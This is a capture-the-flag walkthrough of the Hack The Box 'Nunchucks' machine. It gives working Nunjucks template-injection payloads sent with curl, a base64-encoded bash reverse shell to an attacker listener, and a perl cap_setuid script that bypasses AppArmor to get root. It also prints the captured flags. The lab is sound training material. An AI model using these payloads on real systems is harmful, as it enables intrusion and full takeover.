Nunchucks
6 minutes to read
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.122
- Release: 02 / 11 / 2021
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.122 -p 22,80,443
Nmap scan report for 10.10.11.122
Host is up (0.061s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
| 256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_ 256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| tls-nextprotoneg:
|_ http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Nunchucks - Landing Page
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after: 2031-08-28T15:42:24
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 18.56 seconds
This machine has ports 22 (SSH), 80 (HTTP) and 443 (HTTPS) open.
Web enumeration
First, we start looking at port 80. If we enter the IP into the browser, the server will redirect to https://nunchucks.htb
. Then, we need to include nunchucks.htb
into /etc/hosts
. Now, we can see their landing page:
We can try to register a new account, but it seems to be disabled:
The same applies for the login page:
So, it seems that there is nothing vulnerable here at first glance. Fuzzing for routes does not give anything interesting.
Finding another subdomain
Let’s see if there are other subdomains, because the server might be using virtual hosts. For that, we can use gobuster
:
$ gobuster vhost -w $WORDLISTS/dirb/common.txt -u https://nunchucks.htb -k -q
Found: store.nunchucks.htb (Status: 200) [Size: 4029]
And we have another valid subdomain. After adding it to /etc/hosts
, we enter to the following page:
Again, fuzzing does not give any useful routes. The only thing we can interact with is the email field:
The server is showing the technology used in the HTTP response headers:
$ curl -Ik https://store.nunchucks.htb
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date:
Content-Type: text/html; charset=utf-8
Content-Length: 4029
Connection: keep-alive
X-Powered-By: Express
set-cookie: _csrf=A-Vn2_f9HxsB2GJ2Fii2pQkA; Path=/
ETag: W/"fbd-udK+KYlYFVN2Nn2DXdm1EXd8mv0"
As it is shown the server runs Express JS, which is a Node.js module. There must be some kind of vulnerability related to this technology.
Exploiting an SSTI vulnerability
Thinking on the name of the machine (Nunchucks), there is a template engine for Node.js called Nunjucks. Maybe, the email field is vulnerable to Server-Side Template Injection (SSTI).
To check if it is vulnerable, the common payload is to send:
{{7*7}}
And see if it responds with 49
. Using the POST request in curl
, we see that the payload works:
$ curl https://store.nunchucks.htb/api/submit -d '{"email":"{{7*7}}"}' -kH 'Content-Type: application/json'
{"response":"You will receive updates on the following email address: 49."}
Now we know it is vulnerable, we can look for malicious payloads to gain Remote Code Execution (RCE). The following payload can be found here:
{{range.constructor('return global.process.mainModule.require("child_process").execSync("whoami")')()}}
To use the payload in the curl
command, we need to use a third type of quote because the payload is encapsulated into a JSON document. One solution is to use backticks (`
), which is supported by JavaScript, and they must be escaped because we are in a shell environment (another solution could have been to escape or double-escape normal quotes):
$ curl https://store.nunchucks.htb/api/submit -d "{\"email\":\"{{range.constructor('return global.process.mainModule.require(\`child_process\`).execSync(\`whoami\`)')()}}\"}" -kH 'Content-Type: application/json'
{"response":"You will receive updates on the following email address: david\n."}
Now, we have got RCE, so we can obtain a reverse shell as user david
.
Foothold on the machine
For the reverse shell payload, we can encode the Bash command in Base64 to prevent issues:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
{{range.constructor('return global.process.mainModule.require("child_process").execSync("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash")')()}}
Now, we send the previous SSTI payload (again, using backticks):
$ curl https://store.nunchucks.htb/api/submit -d "{\"email\":\"{{range.constructor('return global.process.mainModule.require(\`child_process\`).execSync(\`echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash\`)')()}}\"}" -kH 'Content-Type: application/json'
And we get access to the machine as user david
from the nc
listener:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.122.
Ncat: Connection from 10.10.11.122:44534.
bash: cannot set terminal process group (997): Inappropriate ioctl for device
bash: no job control in this shell
david@nunchucks:/var/www/store.nunchucks$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
david@nunchucks:/var/www/store.nunchucks$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
david@nunchucks:/var/www/store.nunchucks$ export TERM=xterm
david@nunchucks:/var/www/store.nunchucks$ export SHELL=bash
david@nunchucks:/var/www/store.nunchucks$ stty rows 50 columns 158
At this point, we can capture the user.txt
flag:
david@nunchucks:/var/www/store.nunchucks$ cd
david@nunchucks:~$ cat user.txt
3c5e34ff445df891a0ee282c3d98c6bb
Finding capabilities
After usual enumeration, we find that perl
has cap_setuid
capability enabled:
david@nunchucks:~$ getcap -r / 2>/dev/null
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
To escalate privilege, we can look at GTFOBins for perl
, or use my tool gtfobins-cli
:
$ gtfobins-cli --capabilities perl
perl ==> https://gtfobins.github.io/gtfobins/perl/
Capabilities
If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.
cp $(which perl) .
sudo setcap cap_setuid+ep perl
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
Nevertheless, we execute the command and it does not work:
david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
david@nunchucks:~$ whoami
david
david@nunchucks:~$ /usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "whoami";'
root
david@nunchucks:~$ /usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "cat /etc/shadow";'
cat: /etc/shadow: Permission denied
david@nunchucks:~$ /usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "cat /root/root.txt";'
cat: /root/root.txt: Permission denied
Troubleshooting
After doing some research, we see that there are some AppArmor rules that prevent us from executing some perl
commands (for example, whoami
is allowed, that’s why we saw previously root
as the output):
david@nunchucks:~$ ls -a /etc/apparmor.d/
. abstractions force-complain lsb_release sbin.dhclient usr.bin.man usr.sbin.ippusbxd usr.sbin.rsyslogd
.. disable local nvidia_modprobe tunables usr.bin.perl usr.sbin.mysqld usr.sbin.tcpdump
david@nunchucks:~$ cat /etc/apparmor.d/usr.bin.perl
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>
/usr/bin/perl {
#include <abstractions/base>
#include <abstractions/nameservice>
#include <abstractions/perl>
capability setuid,
deny owner /etc/nsswitch.conf r,
deny /root/* rwx,
deny /etc/shadow rwx,
/usr/bin/id mrix,
/usr/bin/ls mrix,
/usr/bin/cat mrix,
/usr/bin/whoami mrix,
/opt/backup.pl mrix,
owner /home/ r,
owner /home/david/ r,
}
There is a bug for AppArmor that allows to bypass the protections if the perl
code is executed from a file with a “shebang” (#!/usr/bin/perl
).
Privilege escalation
Abusing the bug, we can put the perl
“one-liner” into a file with a “shebang”:
david@nunchucks:~$ cd /tmp
david@nunchucks:/tmp$ echo -e '#!/usr/bin/perl\n\nuse POSIX (setuid);\nPOSIX::setuid(0);\nexec "/bin/bash";' > .priv.pl
david@nunchucks:/tmp$ cat .priv.pl
#!/usr/bin/perl
use POSIX (setuid);
POSIX::setuid(0);
exec "/bin/bash";
To execute the file, we must enable execution privileges and then execute it. Once it is done, we are root
user and thus we can capture the root.txt
flag:
david@nunchucks:/tmp$ chmod +x .priv.pl
david@nunchucks:/tmp$ ./.priv.pl
root@nunchucks:/tmp# cat /root/root.txt
1890e79a33c09beb8878bec7a4595c25